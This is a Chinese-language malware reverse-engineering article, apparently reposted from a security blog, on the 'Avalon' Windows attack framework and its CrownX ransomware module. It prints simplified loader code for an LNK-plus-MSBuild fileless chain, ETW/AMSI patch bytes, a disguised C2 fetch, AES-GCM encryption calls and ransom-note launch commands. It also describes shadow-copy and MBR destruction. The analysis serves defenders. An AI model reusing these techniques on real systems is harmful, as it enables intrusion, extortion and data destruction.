[干货满满]首次曝光的一款Windows全栈攻击框架,逆向分析六大技术亮点"

admin 2026-10-21 19:21:41 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

[干货满满]首次曝光的一款Windows全栈攻击框架,逆向分析六大技术亮点

原创

suntiger
suntiger

二进制空间安全

2026年7月7日 16:23
北京

在小说阅读器读本章

去阅读

将二进制空间安全设为\"星标⭐️\"

第一时间收到文章更新

框架概览

这款此前从未出现在公开情报中的恶意软件框架被称为Avalon, 它既不是某个已知家族的变种,也不是单纯的勒索病毒, 而是将凭证窃取、防御规避、C2通信、横向移动、反取证清理、CrownX勒索、删除卷影副本、破坏WinRE、磁盘级破坏等技术压缩进一个可复用的框架,具备较高的模块化产品设计特征。

亮点1:全程无文件落地,四层内存接力

Avalon最突出的工程特征,是从受害者双击诱饵PDF到框架上线,Avalon本体始终未以常规EXE/DLL形式落地,整个链条可以拆分成四个阶段:

层级 载体 进程上下文 关键技术
阶段1 .lnk快捷方式 cmd.exe 分段环境变量拼接+多盘符搜索
阶段2 zfighv.tmp MSBuild.exe(微软签名) CodeTaskFactory内联C#编译执行
阶段3 .NET托管DLL MSBuild进程 ETW/AMSI Patch → HTTPS → HMAC 解密
阶段4 Avalon原生PE MSBuild进程 Manual Mapping+线程池入口

这种技术会中断传统AV/EDR依赖的\"可疑文件落地\"和\"新进程创建\"两个重要行为特征。Avalon父进程为经过正规签名的MSBuild.exe,而子模块全部在内存中展开。

技术点1:LNK 启动器:环境变量拆分+盘符自适应

在一个实际的案例中,快捷方式Secure Document CA-283505.pdf.lnk启用cmd.exe /V:ON,这里开启了延迟环境变量扩展。延迟环境变量扩展是Windows命令提示符(cmd.exe)中的一项高级功能,主要用于解决批处理脚本在复杂逻辑(如循环、条件判断)中变量值无法实时更新的问题。它允许变量在执行时才被解析和替换,而不是在整行命令被读取时就提前展开。

这里Avalon将MSBuild路径、执行参数拆分成多个短变量,避免MSBuild.exe等关键字以连续字符串出现在LNK二进制中。同时硬编码C:到Z:盘符列表,搜索\Mimecast Secure File Logs\zfighv.tmp,适配ISO挂载后的任意驱动器号。

以下代码是LNK核心逻辑:

:: 这里做了简化还原 — 实际通过多个%变量%分段拼接for %%D in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (    if exist \"%%D:\\Mimecast Secure File Logs\\zfighv.tmp\" (        copy \"%%D:\\Mimecast Secure File Logs\\zfighv.tmp\" \"%TEMP%\
gen0cc9.dat\"        \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe\"            \"%TEMP%\
gen0cc9.dat\" /nologo /noconsolelogger        del \"%TEMP%\
gen0cc9.dat\"    ))

技术点2:MSBuild内联C#:签名工具里的编译器后门

zfighv.tmp本质是MSBuild XML项目,引用Microsoft.Build.Tasks.v4.0.dll,通过CodeTaskFactory在XML内直接嵌入C#源码,其中有一个名为\_cyrbusnAC63Do主要完成三件事情:

1.运行时重建字符串,主要对抗静态扫描。

2.Base64编码 -> 解密 -> Assembly.Load(byte[])

3.反射调用\_GnJwIhfBM.\_kP0LMYpk49P::\_wBuO3mVJ()

在外层包裹了大量不透明算术条件和随机标识符, 用于增加逆向工程成本,但却不改变执行路径。关键代码如下:

<Project xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">  <UsingTask TaskName=\"_cyrbusnAC63Do\"             TaskFactory=\"CodeTaskFactory\"             AssemblyFile=\"$(MSBuildToolsPath)\\Microsoft.Build.Tasks.v4.0.dll\">    <Task>      <Code Type=\"Class\" Language=\"cs\">        <![CDATA[          // Base64 解码 + 解密 → Assembly.Load          byte[] asm = Decrypt(Convert.FromBase64String(blob));          Assembly.Load(asm)            .GetType(\"_GnJwIhfBM._kP0LMYpk49P\")            .GetMethod(\"_wBuO3mVJ\")            .Invoke(null, null);        ]]>      </Code>    </Task>  </UsingTask>  <Target Name=\"Build\"><_cyrbusnAC63Do /></Target></Project>

亮点2:致盲安全产品+伪造CDN请求

在上面第二阶段的.NET加载器在发起任何HTTPS请求之前,会先对Windows安全遥测体系动刀,这是Avalon链路上第一个主动对抗环节。

技术点1:ETW/AMSI内存Patch

加载器解析以下API地址并写入3字节stub:

目标函数 Patch字节 汇编语义
EtwEventWrite 系列(6 个 entry) 31 C0 C3 xor eax,eax; ret
NtTraceEvent 同上 返回STATUS\_SUCCESS
AmsiScanBuffer 配合VEH+线程上下文劫持 绕过脚本/内存扫描

Patch后, ETW事件管道和AMSI扫描表面上返回成功,实际上不再产生任何遥测,EDR在下载并加载下一阶段Payload的关键窗口完全失明。如下图:

技术点2:自研HMAC偏移密钥流+伪造CDN请求

Patch完成后,加载器通过System.Net.WebClient拉取Avalon最终PE。请求特征如下:

GET /cdn/static/c3587edc48c37656b29bcd3da9458eea/update HTTP/1.1Host: helloxcherry[.]comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ...X-Edge-Cache: e3ec5926a167d6e3359f98cdfb7ac3b2cce97652843056505d02e6d2898573c6

在上面的请求中,Avalon刻意伪装成请求CDN静态资源目录结构,结合Chrome浏览器UA和X-Edge-Cache命名模仿CDN边缘缓存相关Header,来达到伪造CDN请求的目的。

由于Avalon设置了将证书校验回调替换为接受所有证书,因此即使C2使用无效/自签证书也能完成TLS握手。X-Edge-Cache作为活动级客户端指纹,服务端可区分合法客户端与普通扫描流量。

下面是一段解密算法,不是标准的AES/XOR,而是按偏移量派生密钥流,代码如下:

// 简化还原 — HMAC-SHA256 偏移密钥流for (long offset = 0; offset < ciphertext.Length; offset += 0x20){    byte[] blockKey = HMAC_SHA256(embeddedKey, BitConverter.GetBytes(offset));    // blockKey 为 32 字节,逐字节 XOR 解密当前 0x20 块    for (int i = 0; i < 0x20 && (offset + i) < ciphertext.Length; i++)        plaintext[offset + i] = (byte)(ciphertext[offset + i] ^ blockKey[i]);}// 末尾 32 字节 HMAC tag 校验 — 失败则拒绝进入 Manual MappingVerifyHMAC(embeddedKey, ciphertext, capturedTag);

该加密流量无法凭抓包单独还原,静态分析MSBuild项目也只能看到外壳代码和加密数据块,看不到Avalon本体行为,这也是第二阶段设计最精妙的地方。

亮点3:在用户态复刻Windows Loader

解密后的Avalon没有调用LoadLibrary或CreateProcess,.NET加载器在用户态完整复刻了Windows映像加载器的全部步骤,流程如下图:

其大致步骤如下:

第一步:解析DOS Header -> e\_lfanew ->验证\"PE\0\0\"签名。

第二步:读取

SizeOfImage/SizeOfHeaders/NumberOfSections/AddressOfEntryPoint。

第三步:VirtualAlloc分配RW内存,复制Headers + Sections。

第四步:遍历Base Relocation Table,应用IMAGE\_REL\_BASED\_DIR64重定位。

第五步:遍历Import Directory:LoadLibrary(\"ntdll.dll\")->GetProcAddress->写入IAT。

第六步:VirtualProtect按Section Characteristics设置RX/RW。

第七步:RtlAddFunctionTable(),注册x64异常处理/unwind info。

第八步:SetProcessValidCallTargets(),注册CFG合法间接跳转目标。

第九步:TpAllocWork(entryPoint)->TpPostWork->TpWaitForWork

如果TpAllocWork失败则降级:CreatThread->WaitForSingleObject->CloseHandle

上面的步骤中,第七步和第八步用到的技术在一般恶意软件中极为罕见,通常需要作者深入理解x64 SEH、Control Flow Guard与Windows10+安全机制的交互。Avalon作为首次曝光便集成该能力,是最值得研究者关注的细节之一。

加载完成后,Avalon的版本资源伪装成微软的WmiPrvSE.exe,进一步混淆进程审计,如下图:

亮点4:感知型EDR多层防御规避

Avalon的defense evasion不是一个Sleep()能概括的。Paylaod中集成了四层叠加规避体系,且Stage 2加载器和Stage 3框架各自独立实现ETW/AMSI干扰,即使Stage 2被检测,Stage 3 仍有第二道盲化。

层级 手段 对抗目标
遥测层 ETW 6 入口 + NtTraceEvent Patch;AMSI VEH 劫持 EDR事件管道、内存扫描
调用层 ntdll.dll干净副本映射;HalosGate / TartarusGate Direct Syscall 用户态 API Hook
行为层 返回地址/栈欺骗;Sleep期间线程挂起/恢复;CET感知 调用栈分析、时序检测
产品层 9家EDR专项分支逻辑 按已安装产品动态选路

产品层覆盖的安全产品清单如下:

Microsoft Defender · SentinelOne · CrowdStrike · SophosElastic Endpoint · FortiEDR · ESET · McAfee · Bitdefender

框架启动后会探测主机上实际运行的安全产品,动态选择syscall路径、sleep策略和hook绕过方案,这是典型的框架级设计,而非单点bypass脚本。

亮点5:先打备份,再加密,基础设施感知的横向移动

在使用Avalon框架的恶意软件在动手加密之前,Avalon的lateral movement子系统已经在做Recovery-Aware侦察,优先定位让你恢复不了的关键节点,而非随机扫内网。

Avalon内置主机分类逻辑,按角色优先级排序:

最高优先级: 域控制器、备份平台(Veeam/Acronis/NetApp/Synology)。

高优先级:虚拟化(vCenter/Hyper-V)、邮件/远程(Exchange/Citrix)。

中优先级:一般服务器,可写管理共享可达的工作站。

投递路径优先选择远程管理共享的高成功率目录:

\\\\<target>\\C$\\Windows\\Temp\\\\<target>\\C$\\ProgramData\\\\<target>\\C$\\Users\\Public\\\\<target>\\ADMIN$\\Temp

远程执行方式包括:DCOM延迟计划任务、即时计划任务、Token冒充计划任务、PsExec风格远程服务创建。如下图:

亮点6:CrownX——可运营的可逆勒索 + 磁盘级摧毁

Avalon内部勒索模块品牌CrownX贯穿加密逻辑、HTML 赎金模板、--decrypt参数和恢复工作流字符串,与框架名Avalon形成双层命名(内部编排&&对外勒索品牌)。

技术点1:AES-GCM加密引擎

CrownX没有使用Crypto++或OpenSSL,而是调用Windows原生BCrypt API,配置ChainingModeGCM:

// 简化还原 — CrownX 加密初始化BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,    (PUCHAR)BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0);BCryptGenRandom(NULL, nonce, 12, BCRYPT_USE_SYSTEM_PREFERRED_RNG);BCryptGenerateSymmetricKey(hAlg, &hKey, ...);BCryptEncrypt(hKey, mappedView, dataSize, &authInfo, nonce, 12,              ciphertext, ..., &cbResult, 0);

文件I/O采用CreateFileMappingW + MapViewOfFile内存映射大文件,线程池并行分发加密任务;CreateFileTransactedW / MoveFileTransactedW保证加密+改名的原子性,减少中途崩溃导致文件半加密半明文的风险。

加密后扩展名统一改为.8hn2yc,文件末尾追加:

[加密数据] + [12-byte nonce] + [16-byte GCM auth tag] + [segment metadata]

metadata使CrownX在获得32-byte session key 后可完整解密还原:

技术点2:专打值钱目标而非常目标

CrownX扩展名列表覆盖工程、DevOps和虚拟化场景:

工程设计后缀名:.sldprt .sldasm .catpart .blend。

DevOps/IaC后缀名:.tfstate .dockerfile .ipynb .proto。

虚拟机磁盘后缀名:.vmdk .vhdx .vmem .qcow2 .avhdx

数据库:.sqlite .accdb .pgdata

技术点3:Recovery Warfare + 物理磁盘破坏

加密同时,Avalon系统性摧毁本地恢复能力:

子系统 API/路径 效果
VSS Win32\_ShadowCopy WMI + COM 删除所有卷影副本
VSS服务 终止+注册表禁用+删除计划任务 阻止新快照
WinRE C:\Recovery\WindowsRE\Winre.wim 破坏恢复环境
System Restore ...\SystemRestore策略键 禁用系统还原
物理磁盘 \\.\PhysicalDrive%d直接写入 破坏分区表/MBR

CrownX的这种双轨并行操作:文件级 AES-GCM 加密(可赎金解密)+ 磁盘级结构破坏, 把受害者的recovery选项压到极限。

CrownX内置HTML模板,动态填充{encrypted\_count}、{total\_bytes}、{hostname}和倒计时涨价timer。启动方式准备多条fallback:

cmd.exe /c start \"CrownX\" \"%NOTE_PATH%\"mshta.exe \"%NOTE_PATH%.html\"rundll32.exe url.dll,FileProtocolHandler \"%NOTE_PATH%.html\"notepad.exe \"%NOTE_PATH%.txt\"

即使以SYSTEM运行、无交互桌面,通知也会暂存至下次用户登录再弹出。

攻击链全景:从一封钓鱼邮件到框架上线

以下是Avalon框架勒索软件的完整攻击链场景:

(全文完)


[干货满满]首次曝光的一款Windows全栈攻击框架,逆向分析六大技术亮点" 网络安全文章

[干货满满]首次曝光的一款Windows全栈攻击框架,逆向分析六大技术亮点"

该文档首次公开曝光了名为Avalon的Windows全栈攻击框架,其具备高度模块化设计。核心亮点包括全程无文件落地执行、通过ETW/AMSI内存Patch致盲安全产品、在用户态复刻Windows加载器、集成多层EDR防御规避、优先攻击备份基础设施以实现可逆勒索及磁盘级摧毁。该框架展示了先进的对抗技术与工程化水平,对安全防御具有重要参考价值。
【已复现】漏洞通告|phpBB认证绕过漏洞(CVE-2026-48611)" 网络安全文章

【已复现】漏洞通告|phpBB认证绕过漏洞(CVE-2026-48611)"

phpBB论坛软件存在一个已存在10年的高危认证绕过漏洞(CVE-2026-48611),攻击者无需密码即可通过发送特定HTTP请求冒充任意用户(含管理员)登录,影响版本为3.3.16及以下和4.0.0-a2开发分支。官方已在3.3.17版本修复,建议立即升级并禁用未使用的认证方式。临时缓解措施包括通过Nginx/Apache拦截恶意路由或在ucp.php文件头部增加拦截代码。
银狐Ghost分发商再出特种木马、针对特定目标投递,天擎EDR率先拦截" 网络安全文章

银狐Ghost分发商再出特种木马、针对特定目标投递,天擎EDR率先拦截"

奇安信发现银狐Ghost分发商使用Rust编写的新型特种木马MODBEACON进行定向攻击,目标涵盖科技、教育及国企等领域。该木马具备高度模块化架构、强隐匿通信及多重持久化机制,已达国家级APT水准。奇安信天擎EDR通过六合引擎实现精准拦截,并结合云端猎鹰平台与MDR服务提供轻量化防御方案,有效应对未知威胁与变种。
评论:0   参与:  0